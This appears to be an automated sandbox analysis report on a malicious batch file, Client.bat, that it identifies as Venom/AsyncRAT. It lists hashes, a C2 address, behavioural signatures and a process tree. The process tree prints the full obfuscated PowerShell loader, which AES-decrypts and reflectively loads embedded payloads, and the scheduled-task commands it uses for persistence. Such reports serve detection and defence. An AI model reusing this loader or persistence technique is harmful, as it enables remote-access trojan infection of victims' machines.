Analysis
-
max time kernel
18s -
max time network
17s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
29-05-2024 15:03
Static task
static1
General
-
Target
Client.bat
-
Size
285KB
-
MD5
d8cfc3f47a867b0e75997070c3281de8
-
SHA1
141a013d4677b2c2453b429372d6373b1a187c63
-
SHA256
85d20a24df655ec1f11e1c39f5f4d74dfce232321dbe6b41a5159a8cf6073ca1
-
SHA512
9da1cc237a7c324457b3c72ee31403edea528c6bb82e2a464fd29be70a4bf50a7fceabfeefb408e317b8dc0100ec6ffe7575182b6c3e7fa91f2e4767bfb84eac
-
SSDEEP
6144:VQJ7TjZvuij8u3zn0YXT59/MD7/QGWwNfmkDbWibZ5LPN2:VijZvuijfz8XbZNY
Malware Config
Extracted
asyncrat
Venom RAT + HVNC + Stealer + Grabber v6.0.3
Default
147.185.221.19:38173
uuhaiushdishajkdhwuasudh
-
delay
1
-
install
true
-
install_file
svhost.exe
-
install_folder
%AppData%
Signatures
-
Async RAT payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/3480-49-0x00000122E4F90000-0x00000122E4FA8000-memory.dmp family_asyncrat -
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepowershell.exepid process 4568 powershell.exe 3480 powershell.exe 1096 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation WScript.exe -
Executes dropped EXE 1 IoCs
Processes:
svhost.exepid process 4884 svhost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 5064 timeout.exe -
Modifies registry class 1 IoCs
Processes:
powershell.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings powershell.exe -
Suspicious behavior: EnumeratesProcesses 33 IoCs
Processes:
powershell.exepowershell.exepowershell.exesvhost.exepid process 1096 powershell.exe 1096 powershell.exe 4568 powershell.exe 4568 powershell.exe 3480 powershell.exe 3480 powershell.exe 3480 powershell.exe 3480 powershell.exe 3480 powershell.exe 3480 powershell.exe 3480 powershell.exe 3480 powershell.exe 3480 powershell.exe 3480 powershell.exe 3480 powershell.exe 3480 powershell.exe 3480 powershell.exe 3480 powershell.exe 3480 powershell.exe 3480 powershell.exe 3480 powershell.exe 3480 powershell.exe 3480 powershell.exe 3480 powershell.exe 3480 powershell.exe 3480 powershell.exe 3480 powershell.exe 3480 powershell.exe 3480 powershell.exe 3480 powershell.exe 3480 powershell.exe 4884 svhost.exe 4884 svhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 1096 powershell.exe Token: SeDebugPrivilege 4568 powershell.exe Token: SeIncreaseQuotaPrivilege 4568 powershell.exe Token: SeSecurityPrivilege 4568 powershell.exe Token: SeTakeOwnershipPrivilege 4568 powershell.exe Token: SeLoadDriverPrivilege 4568 powershell.exe Token: SeSystemProfilePrivilege 4568 powershell.exe Token: SeSystemtimePrivilege 4568 powershell.exe Token: SeProfSingleProcessPrivilege 4568 powershell.exe Token: SeIncBasePriorityPrivilege 4568 powershell.exe Token: SeCreatePagefilePrivilege 4568 powershell.exe Token: SeBackupPrivilege 4568 powershell.exe Token: SeRestorePrivilege 4568 powershell.exe Token: SeShutdownPrivilege 4568 powershell.exe Token: SeDebugPrivilege 4568 powershell.exe Token: SeSystemEnvironmentPrivilege 4568 powershell.exe Token: SeRemoteShutdownPrivilege 4568 powershell.exe Token: SeUndockPrivilege 4568 powershell.exe Token: SeManageVolumePrivilege 4568 powershell.exe Token: 33 4568 powershell.exe Token: 34 4568 powershell.exe Token: 35 4568 powershell.exe Token: 36 4568 powershell.exe Token: SeIncreaseQuotaPrivilege 4568 powershell.exe Token: SeSecurityPrivilege 4568 powershell.exe Token: SeTakeOwnershipPrivilege 4568 powershell.exe Token: SeLoadDriverPrivilege 4568 powershell.exe Token: SeSystemProfilePrivilege 4568 powershell.exe Token: SeSystemtimePrivilege 4568 powershell.exe Token: SeProfSingleProcessPrivilege 4568 powershell.exe Token: SeIncBasePriorityPrivilege 4568 powershell.exe Token: SeCreatePagefilePrivilege 4568 powershell.exe Token: SeBackupPrivilege 4568 powershell.exe Token: SeRestorePrivilege 4568 powershell.exe Token: SeShutdownPrivilege 4568 powershell.exe Token: SeDebugPrivilege 4568 powershell.exe Token: SeSystemEnvironmentPrivilege 4568 powershell.exe Token: SeRemoteShutdownPrivilege 4568 powershell.exe Token: SeUndockPrivilege 4568 powershell.exe Token: SeManageVolumePrivilege 4568 powershell.exe Token: 33 4568 powershell.exe Token: 34 4568 powershell.exe Token: 35 4568 powershell.exe Token: 36 4568 powershell.exe Token: SeIncreaseQuotaPrivilege 4568 powershell.exe Token: SeSecurityPrivilege 4568 powershell.exe Token: SeTakeOwnershipPrivilege 4568 powershell.exe Token: SeLoadDriverPrivilege 4568 powershell.exe Token: SeSystemProfilePrivilege 4568 powershell.exe Token: SeSystemtimePrivilege 4568 powershell.exe Token: SeProfSingleProcessPrivilege 4568 powershell.exe Token: SeIncBasePriorityPrivilege 4568 powershell.exe Token: SeCreatePagefilePrivilege 4568 powershell.exe Token: SeBackupPrivilege 4568 powershell.exe Token: SeRestorePrivilege 4568 powershell.exe Token: SeShutdownPrivilege 4568 powershell.exe Token: SeDebugPrivilege 4568 powershell.exe Token: SeSystemEnvironmentPrivilege 4568 powershell.exe Token: SeRemoteShutdownPrivilege 4568 powershell.exe Token: SeUndockPrivilege 4568 powershell.exe Token: SeManageVolumePrivilege 4568 powershell.exe Token: 33 4568 powershell.exe Token: 34 4568 powershell.exe Token: 35 4568 powershell.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
cmd.exepowershell.exeWScript.execmd.exepowershell.execmd.execmd.exedescription pid process target process PID 1488 wrote to memory of 1096 1488 cmd.exe powershell.exe PID 1488 wrote to memory of 1096 1488 cmd.exe powershell.exe PID 1096 wrote to memory of 4568 1096 powershell.exe powershell.exe PID 1096 wrote to memory of 4568 1096 powershell.exe powershell.exe PID 1096 wrote to memory of 3776 1096 powershell.exe WScript.exe PID 1096 wrote to memory of 3776 1096 powershell.exe WScript.exe PID 3776 wrote to memory of 4184 3776 WScript.exe cmd.exe PID 3776 wrote to memory of 4184 3776 WScript.exe cmd.exe PID 4184 wrote to memory of 3480 4184 cmd.exe powershell.exe PID 4184 wrote to memory of 3480 4184 cmd.exe powershell.exe PID 3480 wrote to memory of 1636 3480 powershell.exe cmd.exe PID 3480 wrote to memory of 1636 3480 powershell.exe cmd.exe PID 3480 wrote to memory of 636 3480 powershell.exe cmd.exe PID 3480 wrote to memory of 636 3480 powershell.exe cmd.exe PID 636 wrote to memory of 5064 636 cmd.exe timeout.exe PID 636 wrote to memory of 5064 636 cmd.exe timeout.exe PID 1636 wrote to memory of 4420 1636 cmd.exe schtasks.exe PID 1636 wrote to memory of 4420 1636 cmd.exe schtasks.exe PID 636 wrote to memory of 4884 636 cmd.exe svhost.exe PID 636 wrote to memory of 4884 636 cmd.exe svhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1488 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BUKiAL31A5lT1/Xd5G5EmJWEX7sPvy0fexqhE5k6bBA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l2NxhLszSFSKFC6LeW0LZw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $teDyb=New-Object System.IO.MemoryStream(,$param_var); $JJOvu=New-Object System.IO.MemoryStream; $PzvNj=New-Object System.IO.Compression.GZipStream($teDyb, [IO.Compression.CompressionMode]::Decompress); $PzvNj.CopyTo($JJOvu); $PzvNj.Dispose(); $teDyb.Dispose(); $JJOvu.Dispose(); $JJOvu.ToArray();}function execute_function($param_var,$param2_var){ $bcxuR=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $mgbCE=$bcxuR.EntryPoint; $mgbCE.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Client.bat';$TDoDY=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Client.bat').Split([Environment]::NewLine);foreach ($szRyi in $TDoDY) { if ($szRyi.StartsWith(':: ')) { $kbvkz=$szRyi.Substring(3); break; }}$payloads_var=[string[]]$kbvkz.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1096 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_930_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_930.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4568
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_930.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3776 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_930.bat" "4⤵
- Suspicious use of WriteProcessMemory
PID:4184 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BUKiAL31A5lT1/Xd5G5EmJWEX7sPvy0fexqhE5k6bBA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l2NxhLszSFSKFC6LeW0LZw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $teDyb=New-Object System.IO.MemoryStream(,$param_var); $JJOvu=New-Object System.IO.MemoryStream; $PzvNj=New-Object System.IO.Compression.GZipStream($teDyb, [IO.Compression.CompressionMode]::Decompress); $PzvNj.CopyTo($JJOvu); $PzvNj.Dispose(); $teDyb.Dispose(); $JJOvu.Dispose(); $JJOvu.ToArray();}function execute_function($param_var,$param2_var){ $bcxuR=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $mgbCE=$bcxuR.EntryPoint; $mgbCE.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_930.bat';$TDoDY=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_930.bat').Split([Environment]::NewLine);foreach ($szRyi in $TDoDY) { if ($szRyi.StartsWith(':: ')) { $kbvkz=$szRyi.Substring(3); break; }}$payloads_var=[string[]]$kbvkz.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3480 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "svhost" /tr '"C:\Users\Admin\AppData\Roaming\svhost.exe"' & exit6⤵
- Suspicious use of WriteProcessMemory
PID:1636 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "svhost" /tr '"C:\Users\Admin\AppData\Roaming\svhost.exe"'7⤵
- Creates scheduled task(s)
PID:4420
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp6B2D.tmp.bat""6⤵
- Suspicious use of WriteProcessMemory
PID:636 -
C:\Windows\system32\timeout.exetimeout 37⤵
- Delays execution with timeout.exe
PID:5064
-
-
C:\Users\Admin\AppData\Roaming\svhost.exe"C:\Users\Admin\AppData\Roaming\svhost.exe"7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4884
-
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5661739d384d9dfd807a089721202900b
SHA15b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA25670c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
SHA51281b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
-
Filesize
1KB
MD5ee6f5f5e5924783870aeedeccdafe9da
SHA10e12ede20df5ec37f2bf3608ad1bc9b4649450fd
SHA256ebf215446a1b5afa86e8ba4316bc99c6d7918acd595786a31e0e5974f4e0f416
SHA512998bad1b069cb0e7a57edef247421e5d5bc0b4f071bd16e4260367e86ac62053168204abc850365bf6eb4f41b32568bea99eb9afda60e7746eff37e604cbe61f
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
150B
MD59db9bcc9ea4f3f07e0966c4376ac2e36
SHA1dd7c215357d9d114c310fa2676a47132682ecb50
SHA256f6575cb910adee8028321ff19eaaefc1868d4111ef1e46ad429e37d80c5f0319
SHA5122e7ca77df6df61757a3fd5cdd70567d874563abd72ab69560bde6f5d749f8c1a202c10cc3215afa4f982f70055d1fbb9f37c0221614958b0e3bcbc6487ccd575
-
Filesize
285KB
MD5d8cfc3f47a867b0e75997070c3281de8
SHA1141a013d4677b2c2453b429372d6373b1a187c63
SHA25685d20a24df655ec1f11e1c39f5f4d74dfce232321dbe6b41a5159a8cf6073ca1
SHA5129da1cc237a7c324457b3c72ee31403edea528c6bb82e2a464fd29be70a4bf50a7fceabfeefb408e317b8dc0100ec6ffe7575182b6c3e7fa91f2e4767bfb84eac
-
Filesize
115B
MD588ffb62e847c50c3ccc6842790416f97
SHA127b9db39bf9fbd67e5ead0f3595b3d0d5af6e7e8
SHA2569c5ea95dbc5ec0ba5f13a543bc31779129eea4b5d95b587b5533cc9721df7342
SHA512b6f4aca8e7b2e103089186e6a450e55bdbcb3de8d07b2789cb436790c5aaddc6b9cab4f5089a4aabc988179a2acaee48cb111fe33fbdfe276ffe4d089f51d5f8
-
Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b